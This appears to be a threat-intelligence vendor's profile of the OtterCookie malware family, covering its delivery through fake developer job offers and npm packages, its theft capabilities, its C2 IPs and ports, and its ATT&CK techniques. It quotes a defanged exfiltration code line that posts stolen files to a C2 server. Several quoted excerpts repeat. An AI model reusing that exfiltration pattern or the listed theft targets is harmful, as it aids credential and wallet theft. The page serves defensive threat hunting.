OtterCookie
OtterCookie is a JavaScript/Node.js malware family used in DPRK-linked developer-targeting operations associated with Contagious Interview and overlapping clusters tracked as Lazarus, Famous Chollima, PurpleBravo, WageMole, and DeceptiveDevelopment. The content consistently describes it as a backdoor/RAT with infostealing functionality, distinct from BeaverTail and often used alongside BeaverTail and InvisibleFerret in phased infection chains targeting software developers, especially Web3, DeFi, AI, and cryptocurrency-related personnel.
Observed delivery vectors include trojanized coding challenges and repositories delivered through fake job offers, malicious GitHub and Bitbucket projects, Google Docs lures, trojanized open-source software such as a 3D chess project, and malicious npm packages including gemini-ai-checker, express-flowlimit, chai-extensions-extras, and broader late-2025 npm waves. Related reporting also ties OtterCookie-linked infrastructure patterns to malicious packages such as chai-as-init and other dependency-chain campaigns.
Functionally, OtterCookie is described as a live-surveillance implant that continuously collects data from active developer workstations rather than performing only a one-time sweep. Reported capabilities include clipboard theft, keystroke logging, screenshot capture, monitoring the active workspace on a 30-second interval, browser secret theft, developer credential theft, cryptocurrency wallet artifact theft, shell command execution, victim data exfiltration, and persistent command-and-control. Some reporting characterizes it as a Socket.IO-based backdoor that maintains a live roster of connected victims.
Its command-and-control is repeatedly described as using Socket.IO over Engine.IO v4. Infrastructure observed in the content includes Hetzner-hosted server 195.201.104.53, where port 6931 functioned as a live OtterCookie Socket.IO C2 broadcasting victim state every 30 seconds and port 6101 appeared to be an older predecessor C2. Additional reporting cites IP address 216.126.225.243 as a known DPRK OtterCookie C2, with one analyzed Node.js stealer sample using that IP on ports 8085, 8086, and 8087 for browser-data theft, file exfiltration, and reverse-shell/C2 traffic. Vercel-hosted staging and infrastructure patterns, including tetrismic.vercel.app and ipcheck-themed Vercel paths, are also associated with OtterCookie-related activity in the provided content.
The malware is primarily associated with campaigns targeting developers globally through fraudulent recruiting workflows, especially in the cryptocurrency sector. Multiple sources in the content state that BeaverTail, OtterCookie, and InvisibleFerret are used together in infection chains that begin with fake interviews or coding assessments and culminate in credential theft, wallet theft, and broader compromise.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
10 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
This will eventually to either Ottercookie / Beavertail malware. Running the entire repository ultimately leads to an infection.
The campaign used the JavaScript infostealer BeaverTail, the cross-platform Python backdoor InvisibleFerret, and most recently OtterCookie, a new backdoor identified in December 2024.
The campaign used the JavaScript infostealer BeaverTail, the cross-platform Python backdoor InvisibleFerret, and most recently OtterCookie, a new backdoor identified in December 2024.
The campaign used the JavaScript infostealer BeaverTail, the cross-platform Python backdoor InvisibleFerret, and most recently OtterCookie, a new backdoor identified in December 2024.
The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.
The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.
Techniques & procedures
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
Initial Access
3 techniques
Initial Access
With the unique fingerprint, we identified 77 malicious GitHub repositories... Running the entire repository ultimately leads to an infection.
Execution
4 techniques
Execution
This will eventually to either Ottercookie / Beavertail malware. Running the entire repository ultimately leads to an infection.
Persistence
2 techniques
Persistence
Privilege Escalation
1 technique
Privilege Escalation
Stealth
2 techniques
Stealth
Credential Access
6 techniques
Credential Access
OtterCookie was reading clipboard contents, capturing keystrokes, taking screenshots, watching the active workspace on a thirty-second clock.
Collection class Behavior Developer secrets .env files, SSH material, cloud credentials, source-control tokens, and adjacent on-disk secrets.
Collection class Behavior Browser data Credential and cookie theft consistent with the broader Contagious Interview campaign.
Collection class Behavior Developer secrets .env files, SSH material, cloud credentials, source-control tokens, and adjacent on-disk secrets.
Discovery
2 techniques
Discovery
Collection
4 techniques
Collection
OtterCookie is capable of identifying cryptocurrency assets and sensitive information found in specific file types by using regex patterns, including executables, photos, and config and env files, among others.
OtterCookie was reading clipboard contents, capturing keystrokes, taking screenshots, watching the active workspace on a thirty-second clock.
Command and Control
4 techniques
Command and Control
InvisibleFerret introduces additional malicious payloads into victim environments, performs information stealing and fingerprinting actions within the victim environment, and leverages legitimate protocols and software for C2 communications.
All HTTP communications are performed via the Axios NPM package... const response = await axios.post(`hxxp://216[.]126[.]225[.]243:8086/upload`, form... Upon the first connection the following info is sent to the C2 via a POST request to hxxp://216[.]126[.]225[.]243:8087/api/notify
IOCs tracked for this family
122 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
89 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Contagious Interview campaign malware described as an infostealer and RAT. The report says the chai-as-init package’s infrastructure pattern and TTPs align with previously identified North Korean OtterCookie infrastructure.
Infostealing malware used in FAMOUS CHOLLIMA's Contagious Interview campaign to steal data and drain cryptocurrency wallets from targeted developers.
Named as malware previously used by the Contagious Interview campaign; no further technical details are provided in the content.
A JavaScript malware payload referenced as part of Contagious Interview activity in the comparison table.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.